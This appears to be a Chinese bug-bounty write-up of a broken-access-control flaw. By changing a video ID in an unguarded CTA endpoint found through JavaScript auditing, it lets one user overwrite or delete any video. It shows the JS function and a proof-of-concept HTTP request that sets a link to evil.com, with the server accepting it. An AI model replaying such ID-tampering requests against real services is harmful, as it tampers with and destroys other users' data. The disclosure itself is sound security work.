

09 任意视频删除漏洞

漏洞名称：任意视频删除漏洞

漏洞类别：横向越权

危害等级：严重

漏洞赏金：/

漏洞触发点：视频管理处

漏洞细节简述：审计JS代码视频删除函数，存在校验缺陷，可修改ID越权删除任意视频

参考来源：https://mp.weixin.qq.com/s/P_gYE85Jv7wE_TC3Roj0GA

记录时间：2023.11.10

如何发现该漏洞？

- 下载 JS 代码审计分析，发现删除接口

如何审计JS代码？

- 通过接口定位到接口的函数
- 分析删除接口函数逻辑，发现没有权限校验
- 根据代码构造数据包测试

```
// 接口: /v1/videos/<video_id>/cta
export function updateCTA(videoId: string, ctaURL: string,
ctaText: string) {
    return getResult(
        appendQuery(`${TARGET_API_URL}videos/${video_id}/cta`, {
            api_key: WEB_API_KEY,
            link: ctaURL,
            text: ctaText,
        }),
        {
            method: ctaText ? 'put' : 'delete',
        }
    )
}
```

Request			Response		
Pretty	Raw	Hex	Pretty	Raw	Hex
<pre> 1 PUT /v1/.../cta HTTP/2 2 Host: api...com 3 4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 6 Accept-Language: en-US,en;q=0.5 7 Accept-Encoding: gzip, deflate 8 Upgrade-Insecure-Requests: 1 9 Sec-Fetch-Dest: document 10 Sec-Fetch-Mode: navigate 11 Sec-Fetch-Site: none 12 Content-Type: application/x-www-form-urlencoded 13 Sec-Fetch-User: ?1 14 Te: trailers 15 Content-Length: 72 16 17 link=https://evil.com&text=evil&api_key=...</pre>			<pre> 7 X-Rule-Debug: 1 8 X-Cachiness-Shield-Rule: fastly_default 9 X-Cachiness-Shield-Desired-Ttl: 1200s 10 X-Cachiness-Shield-Actual-Ttl: 1200.000 11 Accept-Ranges: bytes 12 Date: Thu, 27 Jul 2023 11:56:54 GMT 13 Access-Control-Allow-Origin: * 14 X-Served-By: cache-mrs10583-MRS 15 X-Cache-Hits: 0 16 Vary: Accept-Encoding 17 Strict-Transport-Security: max-age=15465600 18 19 { "data":{ "rating":"g", "value":{ "link":"https://evil.com", "text":"evil" } }, "meta":{ "msg":"OK", "status":200, "response_id":"..." } }</pre>		

微信号: growing0101